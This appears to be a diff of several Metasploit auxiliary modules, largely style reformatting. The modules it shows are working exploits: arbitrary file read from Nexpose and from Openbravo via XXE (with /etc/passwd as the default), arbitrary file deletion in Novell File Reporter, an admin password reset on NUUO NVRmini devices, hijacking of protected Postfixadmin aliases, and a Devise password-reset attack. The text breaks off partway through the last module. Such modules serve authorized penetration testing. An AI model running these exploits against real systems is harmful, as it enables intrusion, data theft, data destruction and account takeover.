@ -87,43 +88,43 @@ class MetasploitModule < Msf::Auxiliary
|
|||
xml << '</Site>'
|
||||
xml << '</SiteSaveRequest>'
|
||||
|
||||
print_status("Sending payload")
|
||||
print_status('Sending payload')
|
||||
begin
|
||||
fsa = nsc.execute(xml)
|
||||
rescue
|
||||
print_error("Error executing API call for site creation, ensure the filepath is correct")
|
||||
rescue StandardError
|
||||
print_error('Error executing API call for site creation, ensure the filepath is correct')
|
||||
return
|
||||
end
|
||||
|
||||
doc = REXML::Document.new fsa.raw_response_data
|
||||
id = doc.root.attributes["site-id"]
|
||||
id = doc.root.attributes['site-id']
|
||||
|
||||
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
|
||||
|
||||
print_status("Retrieving file")
|
||||
print_status('Retrieving file')
|
||||
begin
|
||||
fsa = nsc.execute(xml)
|
||||
rescue
|
||||
rescue StandardError
|
||||
nsc.site_delete id
|
||||
print_error("Error retrieving the file.")
|
||||
print_error('Error retrieving the file.')
|
||||
return
|
||||
end
|
||||
|
||||
doc = REXML::Document.new fsa.raw_response_data
|
||||
|
||||
print_status("Cleaning up")
|
||||
print_status('Cleaning up')
|
||||
begin
|
||||
nsc.delete_site id
|
||||
rescue
|
||||
print_warning("Error while cleaning up site ID, manual cleanup required!")
|
||||
rescue StandardError
|
||||
print_warning('Error while cleaning up site ID, manual cleanup required!')
|
||||
end
|
||||
|
||||
unless doc.root.elements["//host"]
|
||||
print_error("No file returned. Either the server is patched or the file did not exist.")
|
||||
unless doc.root.elements['//host']
|
||||
print_error('No file returned. Either the server is patched or the file did not exist.')
|
||||
return
|
||||
end
|
||||
|
||||
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
|
||||
print_good("File saved to path: " << path)
|
||||
path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}")
|
||||
print_good('File saved to path: ' << path)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,56 +7,60 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Novell File Reporter Agent Arbitrary File Delete',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Novell File Reporter Agent Arbitrary File Delete',
|
||||
'Description' => %q{
|
||||
NFRAgent.exe in Novell File Reporter allows remote attackers to delete
|
||||
arbitrary files via a full pathname in an SRS request with OPERATION set to 4 and
|
||||
CMD set to 5 against /FSF/CMD. This module has been tested successfully on NFR
|
||||
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1) on
|
||||
Windows platforms.
|
||||
},
|
||||
'Author' => [
|
||||
'Luigi Auriemma', # Vulnerability discovery and Poc
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
arbitrary files via a full pathname in an SRS request with OPERATION set to 4 and
|
||||
CMD set to 5 against /FSF/CMD. This module has been tested successfully on NFR
|
||||
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1) on
|
||||
Windows platforms.
|
||||
},
|
||||
'Author' => [
|
||||
'Luigi Auriemma', # Vulnerability discovery and Poc
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2011-2750' ],
|
||||
[ 'OSVDB', '73729' ],
|
||||
[ 'URL', 'http://aluigi.org/adv/nfr_2-adv.txt'],
|
||||
]
|
||||
))
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('RPATH', [ true, "The remote file path to delete", "c:\\test.txt" ]),
|
||||
])
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('RPATH', [ true, 'The remote file path to delete', 'c:\\test.txt' ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
peer = "#{rhost}:#{rport}"
|
||||
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>5</CMD><PATH>#{datastore['RPATH']}</PATH></RECORD>"
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
md5 = Rex::Text.md5('SRS' + record + 'SERVER').upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("Trying to delete #{datastore['RPATH']}...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/FSF/CMD',
|
||||
'uri' => '/FSF/CMD',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml",
|
||||
'data' => message,
|
||||
}, 5)
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'data' => message
|
||||
}, 5
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\/VERSION><STATUS>0<\/STATUS><TRANSID>0<\/TRANSID><\/RESULT>/
|
||||
if res && (res.code == 200) && res.body =~ (%r{<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><TRANSID>0</TRANSID></RESULT>})
|
||||
print_good("File #{datastore['RPATH']} successfully deleted")
|
||||
else
|
||||
print_error("File not deleted")
|
||||
print_error('File not deleted')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,56 +8,58 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
|
||||
'Description' => %q{
|
||||
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
|
||||
to an administrator password reset on the exposed web management interface.
|
||||
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
|
||||
(before v1.7.6), otherwise you need an administrative user password.
|
||||
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
|
||||
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
|
||||
in those devices.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
|
||||
'Description' => %q{
|
||||
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
|
||||
to an administrator password reset on the exposed web management interface.
|
||||
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
|
||||
(before v1.7.6), otherwise you need an administrative user password.
|
||||
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
|
||||
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
|
||||
in those devices.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2016-5676'],
|
||||
['US-CERT-VU', '856152'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt'],
|
||||
['URL', 'https://seclists.org/bugtraq/2016/Aug/45']
|
||||
],
|
||||
'DisclosureDate' => '2016-08-04'))
|
||||
'DisclosureDate' => '2016-08-04'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8081),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/']),
|
||||
OptString.new('TARGETURI', [true, 'Application path', '/']),
|
||||
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'),
|
||||
'vars_get' => { 'cmd' => 'loaddefconfig' }
|
||||
})
|
||||
|
||||
if res && res.code == 401
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'submit' => "Login"
|
||||
}
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'login.php'),
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'submit' => 'Login'
|
||||
}
|
||||
})
|
||||
if res && (res.code == 200 || res.code == 302)
|
||||
cookie = res.get_cookies
|
||||
|
@ -65,9 +67,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
|
||||
end
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'cmd' => 'loaddefconfig' }
|
||||
})
|
||||
end
|
||||
|
||||
|
|
|
@ -11,109 +11,111 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Openbravo ERP XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
The Openbravo ERP XML API expands external entities which can be defined as
|
||||
local files. This allows the user to read any files from the FS as the
|
||||
user Openbravo is running as (generally not root).
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Openbravo ERP XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
The Openbravo ERP XML API expands external entities which can be defined as
|
||||
local files. This allows the user to read any files from the FS as the
|
||||
user Openbravo is running as (generally not root).
|
||||
|
||||
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
|
||||
},
|
||||
'Author' => [
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['CVE', '2013-3617'],
|
||||
['OSVDB', '99141'],
|
||||
['BID', '63431'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2013-10-30'
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2013-10-30'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']),
|
||||
OptString.new('HttpUsername', [true, "The Openbravo user", "Openbravo"]),
|
||||
OptString.new('HttpPassword', [true, "The Openbravo password", "openbravo"]),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
|
||||
OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"])
|
||||
])
|
||||
OptString.new('TARGETURI', [ true, 'Base Openbravo directory path', '/openbravo/']),
|
||||
OptString.new('HttpUsername', [true, 'The Openbravo user', 'Openbravo']),
|
||||
OptString.new('HttpPassword', [true, 'The Openbravo password', 'openbravo']),
|
||||
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/passwd']),
|
||||
OptString.new('ENDPOINT', [true, 'The XML API REST endpoint to use', 'ADUser'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Requesting list of entities from endpoint, this may take a minute...")
|
||||
print_status('Requesting list of entities from endpoint, this may take a minute...')
|
||||
users = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}"),
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
|
||||
}, 60)
|
||||
|
||||
if !users or users.code != 200
|
||||
fail_with(Failure::NoAccess, "Invalid response. Check your credentials and that the server is correct.")
|
||||
if !users || (users.code != 200)
|
||||
fail_with(Failure::NoAccess, 'Invalid response. Check your credentials and that the server is correct.')
|
||||
end
|
||||
|
||||
xml = path = id = other_id = '' #for later use
|
||||
xml = path = id = other_id = '' # for later use
|
||||
doc = REXML::Document.new users.body
|
||||
|
||||
doc.root.elements.each do |user|
|
||||
id = user.attributes["id"]
|
||||
other_id = user.attributes["identifier"]
|
||||
print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
|
||||
id = user.attributes['id']
|
||||
other_id = user.attributes['identifier']
|
||||
print_status("Found #{datastore['ENDPOINT']} #{other_id} with ID: #{id}")
|
||||
|
||||
print_status("Trying #{other_id}")
|
||||
xml = %Q{<?xml version="1.0" encoding="UTF-8"?>
|
||||
xml = %(<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT comments ANY >
|
||||
<!ENTITY xxe SYSTEM "file://}
|
||||
<!ENTITY xxe SYSTEM "file://)
|
||||
|
||||
xml << "#{datastore['FILEPATH']}\" > ]>\n"
|
||||
xml << '<ob:Openbravo xmlns:ob="http://www.openbravo.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">"
|
||||
xml << "<#{datastore['ENDPOINT']} id=\"#{id}\" identifier=\"#{other_id}\">"
|
||||
xml << "<id>#{id}</id>"
|
||||
xml << '<comments>&xxe;</comments>'
|
||||
xml << "</#{datastore["ENDPOINT"]}>"
|
||||
xml << "</#{datastore['ENDPOINT']}>"
|
||||
xml << '</ob:Openbravo>'
|
||||
|
||||
resp = send_request_raw({
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
|
||||
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),
|
||||
'data' => xml,
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200 or resp.body =~ /Not updating entity/
|
||||
print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
|
||||
if !resp || (resp.code != 200) || resp.body =~ (/Not updating entity/)
|
||||
print_error("Problem updating #{datastore['ENDPOINT']} #{other_id} with ID: #{id}")
|
||||
next
|
||||
end
|
||||
|
||||
print_status("Found writable #{datastore["ENDPOINT"]}: #{other_id}")
|
||||
print_status("Found writable #{datastore['ENDPOINT']}: #{other_id}")
|
||||
|
||||
u = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
|
||||
})
|
||||
|
||||
u = REXML::Document.new u.body
|
||||
path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}")
|
||||
path = store_loot('openbravo.file', 'text/plain/', datastore['RHOST'], u.root.elements['//comments'].first.to_s, "File from Openbravo server #{datastore['RHOST']}")
|
||||
break
|
||||
end
|
||||
|
||||
if path != ''
|
||||
print_status("Cleaning up after ourselves...")
|
||||
print_status('Cleaning up after ourselves...')
|
||||
|
||||
xml.sub!('&xxe;', '')
|
||||
|
||||
send_request_raw({
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
|
||||
'data' => xml,
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
|
||||
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),
|
||||
'data' => xml,
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
|
||||
})
|
||||
|
||||
print_good("File saved to: #{path}")
|
||||
|
|
|
@ -7,28 +7,29 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
|
||||
'Description' => %q{
|
||||
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
|
||||
admin is allowed to delete protected aliases. This vulnerability can be
|
||||
used to redirect protected aliases to an other mail address. Eg. rewrite
|
||||
the postmaster@domain alias
|
||||
},
|
||||
'Author' => [ 'Jan-Frederik Rieckers' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
|
||||
'Description' => %q{
|
||||
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
|
||||
admin is allowed to delete protected aliases. This vulnerability can be
|
||||
used to redirect protected aliases to an other mail address. Eg. rewrite
|
||||
the postmaster@domain alias
|
||||
},
|
||||
'Author' => [ 'Jan-Frederik Rieckers' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2017-5930'],
|
||||
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
|
||||
['BID', '96142'],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DisclosureDate' => '2017-02-03',
|
||||
))
|
||||
'Privileged' => true,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DisclosureDate' => '2017-02-03'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -37,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
|
||||
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
|
||||
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def username
|
||||
|
@ -57,27 +59,27 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
|
||||
res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' })
|
||||
|
||||
return Exploit::CheckCode::Unknown unless res
|
||||
|
||||
return Exploit::CheckCode::Safe if res.code != 200
|
||||
|
||||
if res.body =~ /<div id="footer".*Postfix Admin/m
|
||||
version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
|
||||
version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi)
|
||||
return Exploit::CheckCode::Detected unless version
|
||||
if Rex::Version.new("2.91") > Rex::Version.new(version[1])
|
||||
if Rex::Version.new('2.91') > Rex::Version.new(version[1])
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif Rex::Version.new("3.0.1") < Rex::Version.new(version[1])
|
||||
elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1])
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
|
||||
cookie = postfixadmin_login(username, password)
|
||||
|
@ -85,7 +87,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_good('Authenticated with Postfixadmin')
|
||||
|
||||
vprint_status('Requesting virtual_list')
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
|
||||
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
|
||||
body = res.body
|
||||
|
@ -96,50 +98,44 @@ class MetasploitModule < Msf::Auxiliary
|
|||
t = token[1]
|
||||
|
||||
print_status('Delete the old alias')
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
|
||||
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
|
||||
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
|
||||
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
|
||||
if res.nil? || res.body.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
|
||||
elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi
|
||||
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
|
||||
else
|
||||
if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
|
||||
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'An unexpected failure occured.')
|
||||
end
|
||||
fail_with(Failure::Unknown, 'An unexpected failure occured.')
|
||||
end
|
||||
end
|
||||
print_good('Deleted the old alias')
|
||||
|
||||
vprint_status('Will create the new alias')
|
||||
post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
|
||||
post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto }
|
||||
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
|
||||
res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
|
||||
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
|
||||
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
|
||||
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
|
||||
if res.nil? || res.body.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
|
||||
elsif res.body =~ /<ul class="flash-error">/mi
|
||||
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
|
||||
else
|
||||
if res.body =~ /<ul class="flash-error">/mi
|
||||
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'An unexpected failure occured.')
|
||||
end
|
||||
fail_with(Failure::Unknown, 'An unexpected failure occured.')
|
||||
end
|
||||
end
|
||||
print_good('New alias created')
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Performs a Postfixadmin login
|
||||
#
|
||||
# @param user [String] Username
|
||||
|
@ -151,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => postfixadmin_url_login,
|
||||
'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
|
||||
'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' }
|
||||
}, timeout)
|
||||
if res && res.redirect?
|
||||
cookies = res.get_cookies
|
||||
|
@ -166,8 +162,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
normalize_uri(target_uri.path, 'login.php')
|
||||
end
|
||||
|
||||
def postfixadmin_url_list(domain=nil)
|
||||
modifier = domain.nil? ? "" : "?domain=#{domain}"
|
||||
def postfixadmin_url_list(domain = nil)
|
||||
modifier = domain.nil? ? '' : "?domain=#{domain}"
|
||||
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
|
||||
end
|
||||
|
||||
|
|
|
@ -9,9 +9,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
|
||||
'Description' => %q{
|
||||
The Devise authentication gem for Ruby on Rails is vulnerable
|
||||
to a password reset exploit leveraging type confusion. By submitting XML
|
||||
to rails, we can influence the type used for the reset_password_token
|
||||
|
@ -27,14 +29,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
of this vulnerability, by quoting numeric values when comparing them with
|
||||
non numeric values.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'joernchen', #original discovery and disclosure
|
||||
'jjarmoc' #metasploit module
|
||||
'Author' => [
|
||||
'joernchen', # original discovery and disclosure
|
||||
'jjarmoc' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2013-0233'],
|
||||
[ 'OSVDB', '89642' ],
|
||||
[ 'BID', '57577' ],
|
||||
|
@ -43,39 +43,41 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],
|
||||
[ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']
|
||||
],
|
||||
'DisclosureDate' => '2013-01-28'
|
||||
))
|
||||
'DisclosureDate' => '2013-01-28'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
|
||||
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
|
||||
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
|
||||
OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),
|
||||
OptString.new('PASSWORD', [true, 'The password to set']),
|
||||
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
|
||||
OptInt.new('MAXINT', [true, 'Max integer to try (tokens beginning with a higher int will fail)', 10])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def generate_token(account)
|
||||
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
|
||||
|
||||
postdata="#{datastore['OBJECTNAME']}[email]=#{account}"
|
||||
postdata = "#{datastore['OBJECTNAME']}[email]=#{account}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
'method' => 'POST',
|
||||
'data' => postdata,
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
'method' => 'POST',
|
||||
'data' => postdata
|
||||
})
|
||||
|
||||
unless res
|
||||
print_error("No response from server")
|
||||
print_error('No response from server')
|
||||
return false
|
||||
end
|
||||
|
||||
if res.code == 200
|
||||
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
|
||||
print_error("Server returned error")
|
||||
